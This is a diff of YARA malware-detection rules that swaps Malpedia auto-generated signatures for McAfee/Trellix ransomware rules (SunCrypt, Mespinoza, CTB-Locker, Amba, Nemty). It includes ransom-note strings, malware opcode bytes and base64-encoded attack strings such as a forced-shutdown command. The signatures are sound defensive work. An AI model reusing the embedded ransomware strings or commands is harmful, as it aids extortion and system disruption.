-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2c8bb8d3-c4a4-59f1-99cf-04925e102b6b"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cur1_downloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cur1_downloader_auto.yar#L1-L130"
-		license_url = "N/A"
-		logic_hash = "b5443d6c58a9050bf16869865e319c3a21a1ce3b38679342db8dce71a1fd94bc"
+		description = "Rule to detect SunCrypt ransomware decryptor"
+		author = "McAfee ATR Team"
+		id = "ec0d3811-6083-5537-bf29-32ee02d43b5e"
+		date = "2020-10-02"
+		modified = "2020-11-02"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Suncrypt.yar#L27-L50"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "59d1193bb0f8d3983a181394b5dd5247470d9e118cc4fe0674167f162bcdb6e1"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransomware:W32/Suncrypt"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "a0f99367b0a0a358ed6e5ae25904016d02aef6aa7c0423c34aa3ec3fd6354310"
 
 	strings:
-		$sequence_0 = { e8???????? ebd1 488d542440 488b4c2470 e8???????? 8b442438 83c801 }
-		$sequence_1 = { 8b442440 ffc0 89442440 8b05???????? 39442440 0f83e4000000 8b442440 }
-		$sequence_2 = { c68424e70200006f c68424e80200006e c68424e902000057 c68424ea02000000 }
-		$sequence_3 = { 7578 48630d847affff 488d15417affff 4803ca 813950450000 755f b80b020000 }
-		$sequence_4 = { c68424b803000069 c68424b90300006e c68424ba03000067 c68424bb0300006c c68424bc03000065 c68424bd0300004f }
-		$sequence_5 = { c684248803000065 c684248903000049 c684248a0300006e c684248b03000066 c684248c0300006f c684248d03000072 c684248e0300006d }
-		$sequence_6 = { 48c744247000000000 41b918000000 4c8d8424a0000000 488b942488000000 488b8c2490000000 ff15???????? 85c0 }
-		$sequence_7 = { 4863442450 0fb78444d0000000 83f85c 750d 8b442450 898424a4000000 eb02 }
-		$sequence_8 = { 7d0c 4863442428 c644042400 ebe3 c744242800000000 eb0a 8b442428 }
-		$sequence_9 = { c644244933 c644244a37 c644244b62 c644244c34 c644244d37 c644244e39 c644244f32 }
+		$pattern = { 558BEC81EC88000000837D08008BC10F101A89957CFFFFFF0F104A10898578FFFFFF0F1062200F106A300F115D940F114DA40F1165B40F116DC40F8E340200008B45D08B4DC48B55B08945F88B45CC8945E08B45C88945E88B45C08945F08B45BC8945F48B45B8538B5DA88945EC8B45AC568B75A48945D48B45A0578975DC8945E48B459403C68BF033F18B4DB4C1C61003CE8BF9337DDCC1C70C03C78945DC33C6C1C0088945D803C18B4DEC89458833C7C1C0078945848B459803C38BF03375E8C1C61003CE8BF933FBC1C70C03C78945E833C6C1C00889458C03C18B4DF48BD88945EC33DF8B459C0345D48B7DE48BF03375E003FAC1C61003CEC1C307894DF4334DD4C1C10C03C133F08945908B45F0C1C6088975800375F433CEC1C107894DE08B4DF833CFC1C11003C133D08945F0C1C20C8D043A8B7DF033C88945E48B45DCC1C10803F9894DF833D7C1C20703C38BC8334DF8C1C11003F18975FC315DFC8B5DFCC1C30C03C389459433C1C1C0088945F88945D003C633D88945F48945BC8B45E80345E08BC8C1C307334DD8C1C110895DFC895DA88B5DEC8D340F8BFE337DE0C1C70C03C789459833C1C1C0088945D88945C403C68B758833F88945F08945C08B459003C2C1C7078BC8897DD4334D8CC1C11003F1897DAC8B7DE433D6037D84C1C20C03C289459C33C1C1C0088945E88945C803C633D08945B48BC7C1C207334580C1C01003D88BCB334D84C1C10C03F98BF7897DE433F0897DA0C1C60803DE8975E08975CC895DEC8B45088BF333F1895DB88B5DFC488B4DD8C1C6078975DC8975A489450885C00F8F30FEFFFF0F106DC48B8578FFFFFF0F1065B45F0F105D948955B00F104DA48B957CFFFFFF5E5B0F10020F105210660FFED80F104230660FFED10F104A200F1118660FFECC660FFEC50F1150100F1148200F1140308BE55DC3CCCCCCCCCCCCCCCCCCCC558BEC83E4F081EC58020000568BC18B4D1489442420578BFA897C24283D000100000F82680A0000660F6E07660F70C800660F6E4704660F70D000660F6E4708660F70D800660F6E470C660F70E000660F6E4710660F70E800660F6E47148B7508660F70F000660F6E47188B550C660F70F8008D8EC0000000660F6E471C660F70C0000F29842430010000660F6E4720660F70C0000F29842440010000660F6E4724660F70C0000F29842450010000660F6E4728660F70C0000F29842460010000660F6E472C894C240C8D8AC0000000660F70C000894C241C8D8E800000000F29842470010000660F6E4738894C24148D8A80000000660F70C000894C24188D4E400F29842480010000660F6E473C894C242C8D4A40660F70C000C1E8080F298C24A00100000F299424B00100000F299C24C00100000F29A424D00100000F29AC24E00100000F29B424F00100000F29BC24000200000F29842490010000894C24108944242066660F1F8400000000000F2884243001000033C00B47308B4F340F298424800000000F288424400100000F298424900000000F288424500100000F294424600F288424600100000F298424100100000F28842470010000894C244C8944244883C0040F298C24D0000000F30F7E4C244883D1000F298424200100000F288424900100000F299424E00000000F2815A02B4200660F6CC90F29442430660FD4D10F2805B02B42000F29A424A0000000660FD4C10F28E20F29B42400010000660F62E0660F6AD00F28F40F299C24F00000000F28DD0F28AC2480010000660F62F20F297C24700F28FE660F6AE2894F348B4D140F295C24500F29AC24C00000000F29A424B00000000F29BC24400200000F29A4245002000089473085C90F84820400000F287C24708BC166900F28D3660FFE9424D0000000660FEFF2660F380035C02B42000F28DE660FFE9C24900000000F28C3660FEF4424500F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942400010000660FFE9424E0000000660FEFF0660F380035D02B42000F29842490000000660FEFE2660F380025C02B42000F28C60F29742470660FFEC30F28DC660FFE5C24600F29842410020000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424000100000F298C24200200000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D7660FFE9424F0000000660FEFE0660F380025D02B42000F29442460660FEFEA660F38002DC02B42000F28C40F29A424B0000000660FFEC30F28DD660FFE9C24100100000F29842430020000660FEFC10F28F0660F72F007660F72D619660FEBF00F28C3660FEFC70F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FFE9424A0000000660FEFE8660F38002DD02B42000F294424500F28E50F29AC24C0000000660FFEE30F28C4660FEFC10F28F8660F72F007660F72D719660FEBF80F286C2430660FEFEA660F38002DC02B42000F28DD660FFE9C24200100000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D6660FEFE8660FFE942490000000660F38002DD02B42000F298424A00000000F296C2430660FFEEB0F28C5660FEFC10F28C8660F72F007660F72D119660FEBC80F28442430660FEFC20F298C2480000000660F380005C02B42000F28D80F29442430660FFEDC0F28C3660FEFC60F287424700F28C8660F72F00C660F72D114660FEBC80F284424300F28E1660FFEE20F28D7660FFE542460660FEFC4660F380005D02B4200660FEFF20F29A424D0000000660F380035C02B42000F29442430660FFEC30F298424100100000F28DE660FEFC1660FFEDD0F28C8660F72F007660F72D119660FEBC80F28C3660FEFC70F298C24000100000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FEFF00F298424E0000000660F380035D02B42000F28C6660FFEC30F29842420010000660FEFC10F28F8660F72F007660F72D719660FEBF8660FFE5424500F28A424B00000000F28AC24C0000000660FEFE2660F380025C02B42000F28DC660FFE9C24100200000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942420020000660FFE9424A0000000660FEFE00F298424F0000000660FEFEA660F380025D02B4200660F38002DC02B42000F29A424B00000000F28C4660FFEC30F28DD660FFE9C24300200000F29842490000000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424200200000F298C24800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F298424A0000000660FEFE8660F38002DD02B42000F29AC24C00000000F28C5660FFEC30F29442460660FEFC10F28D8660F72F007660F72D319660FEBD80F295C245083E8010F8594FBFFFF0F297C24700F28BC24400200000F28AC24A0010000660FFEAC24D00000000F28A424C00100000F28DD660FFEA424F00000000F288C24B00100000F28D4660FFE8C24E00000000F288424D0010000660FFE8424A00000008B44242C8B7C2414660F62D9660F6AE90F28CB660F6AE0660F62D00F10068344241410660F6CCA660FEFC8660F6DDA0F110A0F10008B4424100F28CD660F6DEC660FEFD8660F6CCC0F28A424000200000F111883C0100F10078B7C2418660FFE642470660FEFC883442418100F28D4894424100F110F8B7C240C0F288C24F0010000660FFE8C24000100008344240C100F10078B7C241C8344241C10660FEFE80F28842430010000660FFE8424800000000F112F8B7C242C0F28AC24E0010000660FFE6C24500F28DD660F62D0660F62D9660F6AE90F28CB660F6AE00F104610660F6CCA660FEFC8660F6DDA0F114A100F1047100F28CD660F6DEC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFE80F11280F28AC2440010000660FFEFE660FFEAC24900000000F28A424600100000F28DD660FFEA424100100000F288C24500100000F28D4660FFE4C24600F28842470010000660FFE84242001000083442410108B4424108344241410660F62D98344241810660F6AE90F28CB660F6AE0660F62D00F1046208344240C10660F6CCA660FEFC88344241C100F114A200F104720660F6DDA0F28CD660FEFD8660F6CCC0F11188B44241483442414100F28DF660F6DEC0F28A424800100000F10008B442418660FFEA424C0000000660FEFC883442418100F28D40F11088B44240C0F288C2450020000660FFE8C24B00000008344240C100F10008B44241C660F62D9660FEFE8660F6AF90F288424900100000F28CB660FFE4424300F11288B442410660F62D083C010660F6AE00F1046308344241C10660F6CCA660FEFC8660F6DDA0F114A30894424100F1047300F28CF660F6DFC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFF881442410D000000081C70001000081442418D000000081C2000100008144241CD000000081C60001000081442414D00000008144240CD00000000F288C24A00100000F289424B00100000F289C24C00100000F28A424D00100000F28AC24E00100000F28B424F00100000F11388B4424240F28BC24000200002D00010000836C242001897C242C8B7C2428894424240F85E2F6FFFFEB068B550C8B75088954241083F8400F829A010000C1E80689442420660F1F4400000F10370F1057100F107F200F106F3085C90F84F60000008BC10F1F80000000000F28DA660FFEDE660FEFEB660F38002DC02B42000F28E5660FFEE70F28C4660FEFC20F28C8660F72F00C660F72D114660FEFC80F28D1660FFED3660FEFEA660F70D293660F38002DD02B42000F28DD660F70ED4E660FFEDC660F70E3390F28C3660FEFC10F28C8660F72F007660F72D119660FEFC8660FFED1660FEFEA660F38002DC02B4200660FFEE50F28C4660FEFC10F28D8660F72F00C660F72D314660FEFD80F28C3660FFEC2660F70F039660FEFE8660F38002DD02B42000F28C5660F70ED4E660FFEC4660F70F8930F28C8660FEFCB0F28D1 }
 
 	condition:
-		7 of them and filesize <402432
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule MALPEDIA_Win_Nitlove_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Ransom_Mespinoza : FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b00aecde-2bc6-57bb-930b-a202a51e31ba"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nitlove_auto.yar#L1-L116"
-		license_url = "N/A"
-		logic_hash = "702803544b3494bdcd3ba717ae94381060ca7fe1c8bd808ab3cc38c9aa80bcd5"
+		description = "rule to detect Mespinoza ransomware"
+		author = "Christiaan Beek @ McAfee ATR"
+		id = "70a76bc4-e0cb-5caa-bb64-1a732349d2ce"
+		date = "2020-11-24"
+		modified = "2020-11-24"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Mespinoza.yar#L3-L27"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "e245fb9a71d86209690a6f4c7aa38c10dbd32cda2ea3ecde08d0d94e896381cb"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		malware_family = "ransom_Win_Mespinoza"
+		hash1 = "e9662b468135f758a9487a1be50159ef57f3050b753de2915763b4ed78839ead"
+		hash2 = "48355bd2a57d92e017bdada911a4b31aa7225c0b12231c9cbda6717616abaea3"
+		hash3 = "e4287e9708a73ce6a9b7a3e7c72462b01f7cc3c595d972cf2984185ac1a3a4a8"
 
 	strings:
-		$sequence_0 = { 8d85c4feffff b902000080 66a5 be???????? 8d7df8 50 8d45f8 }
-		$sequence_1 = { ff15???????? 85c0 74e1 837dfcff }
-		$sequence_2 = { ffd7 8b75f4 8b4df8 8b859cfaffff 8b95a0faffff 83c010 }
-		$sequence_3 = { 0f853d010000 6a00 56 baf3b33d04 }
-		$sequence_4 = { 8945d8 8b4508 8945c0 8b450c }
-		$sequence_5 = { e8???????? ffd0 bab2bb282b b9???????? }
-		$sequence_6 = { ba7f22fb0e b9???????? e8???????? ffd0 }
-		$sequence_7 = { 8bcb e8???????? ffd0 ff75fc ba07d457d6 8bcb }
-		$sequence_8 = { 0f84aa000000 53 56 57 e8???????? e8???????? 8d45f8 }
-		$sequence_9 = { ffd0 8b4dfc 6a00 8904b1 b9???????? 837dec00 }
+		$s1 = "update.bat" fullword ascii
+		$s2 = "protonmail.com" fullword ascii
+		$s3 = "Every byte on any types of your devices was encrypted." fullword ascii
+		$s4 = "To get all your data back contact us:" fullword ascii
+		$s5 = "What to do to get all data back?" fullword ascii
+		$s6 = "Don't try to use backups because it were encrypted too." fullword ascii
+		$op0 = { 83 f8 4b 75 9e 0f be 46 ff 8d 4d e0 ff 34 85 50 }
+		$op1 = { c6 05 34 9b 47 00 00 e8 1f 0c 03 00 59 c3 cc cc }
+		$op2 = { e8 ef c5 fe ff b8 ff ff ff 7f eb 76 8b 4d 0c 85 }
 
 	condition:
-		7 of them and filesize <49152
+		( uint16(0)==0x5a4d and filesize <600KB and pe.imphash()=="b5e8bd2552848bb7bf2f28228d014742" and (8 of them ) and 2 of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Newsreels_Auto : FILE
+rule TRELLIX_ARC_Backdoorfckg : CTB_LOCKER_RANSOMWARE RANSOMWARE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d0a51f50-02b3-5e2e-87a4-1bcf6809c906"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newsreels_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "fc1a2dbb3b05d6d5724530e791c74623a98e89ee20e6cc268616876a0ad255a8"
+		description = "CTB_Locker"
+		author = "ISG"
+		id = "2a00551d-1f80-5991-9416-d9b1b39db8e9"
+		date = "2015-01-20"
+		modified = "2020-08-14"
+		reference = "https://blogs.mcafee.com/mcafee-labs/rise-backdoor-fckq-ctb-locker"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_CTBLocker.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "a334b07053db66aa0fb2d2b2ca7f94c480509041724ddd4dd1708052d75baffb"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 20
+		tags = "CTB_LOCKER_RANSOMWARE, RANSOMWARE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/CTBLocker"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 7516 39ac247c030000 7d37 5e 5d 83c8ff }
-		$sequence_1 = { 53 53 8d8424e0030000 68???????? 50 66899c24a0000000 c784249c00000001010000 }
-		$sequence_2 = { ff15???????? e9???????? 6a4d 6a08 68???????? e8???????? 8b35???????? }
-		$sequence_3 = { 6a4d f2ae f7d1 49 }
-		$sequence_4 = { 8d542460 8d4c2454 83c448 8b02 8b11 3bc2 }
-		$sequence_5 = { 83c408 85db 750a 5e 5d }
-		$sequence_6 = { 33f6 e8???????? 8bd8 83c408 85db 7516 }
-		$sequence_7 = { 51 e8???????? 8b742430 8b542431 8b442432 81e6ff000000 8b4c2433 }
-		$sequence_8 = { 8b9c24e0110000 8808 8b15???????? 8bcb 8bc1 }
-		$sequence_9 = { 51 6a09 6a08 52 66894808 e8???????? }
+		$string0 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+		$stringl = "RNDBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+		$string2 = "keme132.DLL"
+		$string3 = "klospad.pdb"
 
 	condition:
-		7 of them and filesize <65536
+		3 of them
 }
-rule MALPEDIA_Win_Redpepper_Auto : FILE
+rule TRELLIX_ARC_Jeff_Dev_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6d36eb39-39c8-5443-a77b-2290277533bd"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redpepper_auto.yar#L1-L116"
-		license_url = "N/A"
-		logic_hash = "e4e4c0e91e25e59e6fb978e405ca0275203329718b6dc395151e5d470e453248"
+		description = "Rule to detect Jeff Dev Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "dd5e24f4-a2d8-5db5-9e7e-7f8bded5d401"
+		date = "2018-08-26"
+		modified = "2020-08-14"
+		reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_jeff_dev.yar#L1-L28"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "386d4617046790f7f1fcf37505be4ffe51d165ba7cbd42324aed723288ca7e0a"
+		logic_hash = "58a408f4e1781540e4abdb87b85b94c1f0ea49b40bf241d6d074bc2162ac2032"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 45
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Jeff"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 57 8bf9 8b870c1e0000 85c0 }
-		$sequence_1 = { 8b500c 41 83f904 8b12 8a540aff }
-		$sequence_2 = { 8b4d10 881e 50 8901 e8???????? 59 }
-		$sequence_3 = { 8b4520 3bc7 7439 68a1000000 68???????? 50 e8???????? }
-		$sequence_4 = { 53 55 56 33f6 57 8b7c2428 }
-		$sequence_5 = { 752d 689f000000 68???????? 6a26 }
-		$sequence_6 = { c3 8b7c2418 85ff 7432 e8???????? }
-		$sequence_7 = { 8845f3 8845f4 8845f7 8845f8 }
-		$sequence_8 = { 8b742414 6a0f f7d1 49 56 8be9 e8???????? }
-		$sequence_9 = { e8???????? 8b44241c 8b6c2428 8b4c2418 }
+		$s1 = "C:\\Users\\Umut\\Desktop\\takemeon" fullword wide
+		$s2 = "C:\\Users\\Umut\\Desktop\\" fullword ascii
+		$s3 = "PRESS HERE TO STOP THIS CREEPY SOUND AND VIEW WHAT HAPPENED TO YOUR COMPUTER" fullword wide
+		$s4 = "WHAT YOU DO TO MY COMPUTER??!??!!!" fullword wide
 
 	condition:
-		7 of them and filesize <2482176
+		( uint16(0)==0x5a4d and filesize <5000KB) and all of them
 }
-rule MALPEDIA_Win_Gspy_Auto : FILE
+rule TRELLIX_ARC_Amba_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3f030d66-0807-5220-809f-f602620cbb65"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gspy_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "74604d1b3decfab056910daf59a9f74fcce729f63057c78e0ce83dfa1bab2af0"
+		description = "Rule to detect Amba Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "961f2892-e462-55e4-bd96-7dff895cb1e6"
+		date = "2017-07-03"
+		modified = "2020-08-14"
+		reference = "https://www.enigmasoftware.com/ambaransomware-removal/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_amba.yar#L1-L41"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "b9b6045a45dd22fcaf2fc13d39eba46180d489cb4eb152c87568c2404aecac2f"
+		logic_hash = "0830ab49956711d3e6ad64785edcf54146a24756c4ab66384305dc18091867bd"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Amba"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 57 52 c70600000000 ff15???????? 8b4608 8b1d???????? 85c0 }
-		$sequence_1 = { 50 8d4c242c 51 e8???????? c744240812000000 eb2f 6a1c }
-		$sequence_2 = { 8d4c2404 51 6a00 50 ff15???????? a3???????? 85c0 }
-		$sequence_3 = { 8b542420 51 57 6800000220 52 e8???????? }
-		$sequence_4 = { ff15???????? 85c0 0f8408010000 56 57 50 e8???????? }
-		$sequence_5 = { 85f6 0f8434ffffff 83f8ff 750d 33c0 3806 }
-		$sequence_6 = { 0f87b0000000 833e00 89742410 76b3 8b4604 a900000c00 }
-		$sequence_7 = { 0f83ed000000 6a10 6a00 8d442440 50 e8???????? c744241468be4200 }
-		$sequence_8 = { 03cb 51 03d6 52 e8???????? 013e eb08 }
-		$sequence_9 = { 6801000080 c744242000000000 c744241c04000000 c744241801000080 83ceff ff15???????? 85c0 }
+		$s1 = "64DCRYPT.SYS" fullword wide
+		$s2 = "32DCRYPT.SYS" fullword wide
+		$s3 = "64DCINST.EXE" fullword wide
+		$s4 = "32DCINST.EXE" fullword wide
+		$s5 = "32DCCON.EXE" fullword wide
+		$s6 = "64DCCON.EXE" fullword wide
+		$s8 = "32DCAPI.DLL" fullword wide
+		$s9 = "64DCAPI.DLL" fullword wide
+		$s10 = "ICYgc2h1dGRvd24gL2YgL3IgL3QgMA==" fullword ascii
+		$s11 = "QzpcVXNlcnNcQUJDRFxuZXRwYXNzLnR4dA==" fullword ascii
+		$s12 = ")!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v)" fullword ascii
+		$s13 = "RGVmcmFnbWVudFNlcnZpY2U="
+		$s14 = "LWVuY3J5cHQgcHQ5IC1wIA=="
+		$s15 = "LWVuY3J5cHQgcHQ3IC1wIA=="
+		$s16 = "LWVuY3J5cHQgcHQ2IC1wIA=="
+		$s17 = "LWVuY3J5cHQgcHQzIC1wIA=="
 
 	condition:
-		7 of them and filesize <421888
+		( uint16(0)==0x5a4d and filesize <3000KB and (8 of them )) or ( all of them )
 }
-rule MALPEDIA_Win_Touchmove_Auto : FILE
+rule TRELLIX_ARC_Nemty_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a88e9c25-4116-5e49-8a2c-fef3336f0802"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.touchmove_auto.yar#L1-L124"
-		license_url = "N/A"
-		logic_hash = "519a7e3bd048a6a0769391087a62b1ec389f7202cc576a740e9eb0fb3d43844d"
+		description = "Rule to detect Nemty Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "e9b133d6-fd77-5201-995d-c42bae7cde46"
+		date = "2020-02-23"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Nemty.yar#L1-L45"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "73bf76533eb0bcc4afb5c72dcb8e7306471ae971212d05d0ff272f171b94b2d4"
+		logic_hash = "d055286670516318c14dcf4e5873b96eede5e1dfb3ee978553fc11f1ac6b3252"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Nemty"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 41b800040000 488d8c2452010000 e8???????? 4c8d442448 488d152df90000 }
-		$sequence_1 = { 488d157af70000 488d8d90000000 e8???????? 4c8d8590000000 33d2 33c9 }
-		$sequence_2 = { 7528 48833d????????00 741e 488d0d499f0000 e8???????? 85c0 }
-		$sequence_3 = { 41b8ee000000 488d8d92430000 e8???????? c6858044000000 33d2 41b8ff000000 488d8d81440000 }
-		$sequence_4 = { ff15???????? 488d442450 4889442420 458bce 4533c0 488d9580410000 48c7c102000080 }
-		$sequence_5 = { 0f8514010000 4c8d2d36cd0000 41b804010000 668935???????? 498bd5 ff15???????? 418d7c24e7 }
-		$sequence_6 = { 48833d????????00 0f844d040000 48833d????????00 0f843f040000 }
-		$sequence_7 = { 833d????????00 7505 e8???????? 488d3d40e00000 41b804010000 }
-		$sequence_8 = { 488bfb 488bf3 48c1fe05 4c8d25bebd0000 83e71f 486bff58 }
-		$sequence_9 = { 8bc8 e8???????? ebc9 488bcb 488bc3 488d1597e40000 48c1f805 }
